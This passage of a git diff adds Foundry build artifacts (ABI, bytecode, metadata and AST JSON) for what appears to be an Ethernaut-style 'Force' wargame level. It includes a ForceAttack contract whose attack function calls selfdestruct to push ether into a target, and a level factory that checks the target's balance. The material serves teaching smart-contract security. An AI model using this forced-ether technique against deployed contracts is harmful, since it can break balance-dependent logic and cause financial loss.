payable","name":"target","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"attack"},{"inputs":[],"stateMutability":"payable","type":"receive"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/attacks/ForceAttack.sol":"ForceAttack"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/attacks/ForceAttack.sol":{"keccak256":"0x876555a235e3069328511570b55ae5d2da411e67979faec9b436170fefc24a44","urls":["bzz-raw://a63ecc91aa3a386e1119b4aff97940fed0b704a301b1077743fd92c89882a43d","dweb:/ipfs/QmafZVLt3pWfCx6EHVZmU6MGNdZUVmrxihVt9bB5dpJQXx"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/attacks/ForceAttack.sol","id":49338,"exportedSymbols":{"ForceAttack":[49337]},"nodeType":"SourceUnit","src":"33:203:44","nodes":[{"id":49318,"nodeType":"PragmaDirective","src":"33:23:44","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":49337,"nodeType":"ContractDefinition","src":"58:177:44","nodes":[{"id":49322,"nodeType":"FunctionDefinition","src":"85:24:44","nodes":[],"body":{"id":49321,"nodeType":"Block","src":"107:2:44","nodes":[],"statements":[]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":49319,"nodeType":"ParameterList","parameters":[],"src":"96:2:44"},"returnParameters":{"id":49320,"nodeType":"ParameterList","parameters":[],"src":"107:0:44"},"scope":49337,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":49326,"nodeType":"FunctionDefinition","src":"114:29:44","nodes":[],"body":{"id":49325,"nodeType":"Block","src":"141:2:44","nodes":[],"statements":[]},"implemented":true,"kind":"receive","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":49323,"nodeType":"ParameterList","parameters":[],"src":"121:2:44"},"returnParameters":{"id":49324,"nodeType":"ParameterList","parameters":[],"src":"141:0:44"},"scope":49337,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":49336,"nodeType":"FunctionDefinition","src":"149:84:44","nodes":[],"body":{"id":49335,"nodeType":"Block","src":"196:37:44","nodes":[],"statements":[{"expression":{"arguments":[{"id":49332,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49328,"src":"219:6:44","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":49331,"name":"selfdestruct","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-21,"src":"206:12:44","typeDescriptions":{"typeIdentifier":"t_function_selfdestruct_nonpayable$_t_address_payable_$returns$__$","typeString":"function (address payable)"}},"id":49333,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"206:20:44","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49334,"nodeType":"ExpressionStatement","src":"206:20:44"}]},"functionSelector":"d018db3e","implemented":true,"kind":"function","modifiers":[],"name":"attack","nameLocation":"158:6:44","parameters":{"id":49329,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49328,"mutability":"mutable","name":"target","nameLocation":"181:6:44","nodeType":"VariableDeclaration","scope":49336,"src":"165:22:44","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":49327,"name":"address","nodeType":"ElementaryTypeName","src":"165:15:44","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"}],"src":"164:24:44"},"returnParameters":{"id":49330,"nodeType":"ParameterList","parameters":[],"src":"196:0:44"},"scope":49337,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"ForceAttack","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[49337],"name":"ForceAttack","nameLocation":"67:11:44","scope":49338,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":44} \ No newline at end of file diff --git a/contracts/out/ForceFactory.sol/ForceFactory.json b/contracts/out/ForceFactory.sol/ForceFactory.json new file mode 100644 index 000000000..c11d8f683 --- /dev/null +++ b/contracts/out/ForceFactory.sol/ForceFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6103b38061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100f8575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b50610070610117565b005b6100856100803660046102cc565b61012a565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100e86100d83660046102ee565b506001600160a01b031631151590565b6040519015158152602001610099565b348015610103575f80fd5b506100706101123660046102cc565b610157565b61011f6101ec565b6101285f610245565b565b5f604051610137906102ac565b604051809103905ff080158015610150573d5f803e3d5ffd5b5092915050565b61015f6101ec565b6001600160a01b0381166101e05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6101e981610245565b50565b5f546001600160a01b031633146101285760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016101d7565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60588061032683390190565b6001600160a01b03811681146101e9575f80fd5b5f602082840312156102dc575f80fd5b81356102e7816102b8565b9392505050565b5f80604083850312156102ff575f80fd5b823561030a816102b8565b9150602083013561031a816102b8565b80915050925092905056fe6080604052348015600e575f80fd5b50603e80601a5f395ff3fe60806040525f80fdfea2646970667358221220e3b0b9bf7dd6f741bba8d6f65db7b1b33c574ceb32447d884b9ba5c775b7c31664736f6c63430008180033a264697066735822122079ada73133760e82526fe0ca66c958298baba94710f2bf55a5806189af62334e64736f6c63430008180033","sourceMap":"108:408:80:-:0;;;;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;108:408:80;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;108:408:80:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100f8575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b50610070610117565b005b6100856100803660046102cc565b61012a565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100e86100d83660046102ee565b506001600160a01b031631151590565b6040519015158152602001610099565b348015610103575f80fd5b506100706101123660046102cc565b610157565b61011f6101ec565b6101285f610245565b565b5f604051610137906102ac565b604051809103905ff080158015610150573d5f803e3d5ffd5b5092915050565b61015f6101ec565b6001600160a01b0381166101e05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6101e981610245565b50565b5f546001600160a01b031633146101285760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016101d7565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60588061032683390190565b6001600160a01b03811681146101e9575f80fd5b5f602082840312156102dc575f80fd5b81356102e7816102b8565b9392505050565b5f80604083850312156102ff575f80fd5b823561030a816102b8565b9150602083013561031a816102b8565b80915050925092905056fe6080604052348015600e575f80fd5b50603e80601a5f395ff3fe60806040525f80fdfea2646970667358221220e3b0b9bf7dd6f741bba8d6f65db7b1b33c574ceb32447d884b9ba5c775b7c31664736f6c63430008180033a264697066735822122079ada73133760e82526fe0ca66c958298baba94710f2bf55a5806189af62334e64736f6c63430008180033","sourceMap":"108:408:80:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;145:144:80;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;145:144:80;;;;;;;;1201:85:23;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;295:219:80;;;;;;;;;;-1:-1:-1;295:219:80;;;;;:::i;:::-;-1:-1:-1;;;;;;478:25:80;;:29;;;295:219;;;;1222:14:155;;1215:22;1197:41;;1185:2;1170:18;295:219:80;1057:187:155;2081:198:23;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;145:144:80:-;219:7;270:11;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;255:27:80;145:144;-1:-1:-1;;145:144:80:o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;1451:2:155;2161:73:23::1;::::0;::::1;1433:21:155::0;1490:2;1470:18;;;1463:30;1529:34;1509:18;;;1502:62;1600:8;1580:18;;;1573:36;1626:19;;2161:73:23::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;1858:2:155;1414:68:23;;;1840:21:155;;;1877:18;;;1870:30;1936:34;1916:18;;;1909:62;1988:18;;1414:68:23;1656:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;14:154:155:-;-1:-1:-1;;;;;93:5:155;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:155:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:155;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/ForceFactory.sol\":\"ForceFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/Force.sol\":{\"keccak256\":\"0xe0b01e8442119a27b773c712fc99f775af06e5e18ddd883502904d58c2f437ff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8aeecfc98216fdc0e1de09688aee2bdb83511153ccf12aa202ade2d8c7df0c74\",\"dweb:/ipfs/QmPoyEcDaUF3DLa7yjtomtacGL6QQFVbNPfLwniCSGLXpF\"]},\"src/levels/ForceFactory.sol\":{\"keccak256\":\"0x928787f53558486d875a79627314da05281b1c754f0e78e000c9f889c959f138\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a75a4528df8313d33459153c2100594b8abf360d13979c3e9f1c7d667b0930e5\",\"dweb:/ipfs/QmVZtQsMAABd1PhsqthPeoaVhkpLAAPErG7sqEsweiidvS\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"view","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/ForceFactory.sol":"ForceFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/Force.sol":{"keccak256":"0xe0b01e8442119a27b773c712fc99f775af06e5e18ddd883502904d58c2f437ff","urls":["bzz-raw://8aeecfc98216fdc0e1de09688aee2bdb83511153ccf12aa202ade2d8c7df0c74","dweb:/ipfs/QmPoyEcDaUF3DLa7yjtomtacGL6QQFVbNPfLwniCSGLXpF"],"license":"MIT"},"src/levels/ForceFactory.sol":{"keccak256":"0x928787f53558486d875a79627314da05281b1c754f0e78e000c9f889c959f138","urls":["bzz-raw://a75a4528df8313d33459153c2100594b8abf360d13979c3e9f1c7d667b0930e5","dweb:/ipfs/QmVZtQsMAABd1PhsqthPeoaVhkpLAAPErG7sqEsweiidvS"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/ForceFactory.sol","id":52492,"exportedSymbols":{"Context":[48281],"Force":[52437],"ForceFactory":[52491],"Level":[55508],"Ownable":[46700]},"nodeType":"SourceUnit","src":"33:484:80","nodes":[{"id":52439,"nodeType":"PragmaDirective","src":"33:23:80","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":52440,"nodeType":"ImportDirective","src":"58:26:80","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./base/Level.sol","nameLocation":"-1:-1:-1","scope":52492,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":52441,"nodeType":"ImportDirective","src":"85:21:80","nodes":[],"absolutePath":"src/levels/Force.sol","file":"./Force.sol","nameLocation":"-1:-1:-1","scope":52492,"sourceUnit":52438,"symbolAliases":[],"unitAlias":""},{"id":52491,"nodeType":"ContractDefinition","src":"108:408:80","nodes":[{"id":52462,"nodeType":"FunctionDefinition","src":"145:144:80","nodes":[],"body":{"id":52461,"nodeType":"Block","src":"228:61:80","nodes":[],"statements":[{"expression":{"id":52451,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52445,"src":"238:7:80","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":52452,"nodeType":"ExpressionStatement","src":"238:7:80"},{"expression":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"id":52457,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"270:9:80","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Force_$52437_$","typeString":"function () returns (contract Force)"},"typeName":{"id":52456,"nodeType":"UserDefinedTypeName","pathNode":{"id":52455,"name":"Force","nameLocations":["274:5:80"],"nodeType":"IdentifierPath","referencedDeclaration":52437,"src":"274:5:80"},"referencedDeclaration":52437,"src":"274:5:80","typeDescriptions":{"typeIdentifier":"t_contract$_Force_$52437","typeString":"contract Force"}}},"id":52458,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"270:11:80","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Force_$52437","typeString":"contract Force"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Force_$52437","typeString":"contract Force"}],"id":52454,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"262:7:80","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":52453,"name":"address","nodeType":"ElementaryTypeName","src":"262:7:80","typeDescriptions":{}}},"id":52459,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"262:20:80","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":52450,"id":52460,"nodeType":"Return","src":"255:27:80"}]},"baseFunctions":[55498],"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"154:14:80","overrides":{"id":52447,"nodeType":"OverrideSpecifier","overrides":[],"src":"201:8:80"},"parameters":{"id":52446,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52445,"mutability":"mutable","name":"_player","nameLocation":"177:7:80","nodeType":"VariableDeclaration","scope":52462,"src":"169:15:80","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":52444,"name":"address","nodeType":"ElementaryTypeName","src":"169:7:80","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"168:17:80"},"returnParameters":{"id":52450,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52449,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":52462,"src":"219:7:80","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":52448,"name":"address","nodeType":"ElementaryTypeName","src":"219:7:80","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"218:9:80"},"scope":52491,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":52490,"nodeType":"FunctionDefinition","src":"295:219:80","nodes":[],"body":{"id":52489,"nodeType":"Block","src":"401:113:80","nodes":[],"statements":[{"expression":{"id":52472,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52466,"src":"411:7:80","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":52473,"nodeType":"ExpressionStatement","src":"411:7:80"},{"assignments":[52476],"declarations":[{"constant":false,"id":52476,"mutability":"mutable","name":"instance","nameLocation":"434:8:80","nodeType":"VariableDeclaration","scope":52489,"src":"428:14:80","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Force_$52437","typeString":"contract Force"},"typeName":{"id":52475,"nodeType":"UserDefinedTypeName","pathNode":{"id":52474,"name":"Force","nameLocations":["428:5:80"],"nodeType":"IdentifierPath","referencedDeclaration":52437,"src":"428:5:80"},"referencedDeclaration":52437,"src":"428:5:80","typeDescriptions":{"typeIdentifier":"t_contract$_Force_$52437","typeString":"contract Force"}},"visibility":"internal"}],"id":52480,"initialValue":{"arguments":[{"id":52478,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52464,"src":"451:9:80","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":52477,"name":"Force","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52437,"src":"445:5:80","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Force_$52437_$","typeString":"type(contract Force)"}},"id":52479,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"445:16:80","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Force_$52437","typeString":"contract Force"}},"nodeType":"VariableDeclarationStatement","src":"428:33:80"},{"expression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":52487,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"arguments":[{"id":52483,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52476,"src":"486:8:80","typeDescriptions":{"typeIdentifier":"t_contract$_Force_$52437","typeString":"contract Force"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Force_$52437","typeString":"contract 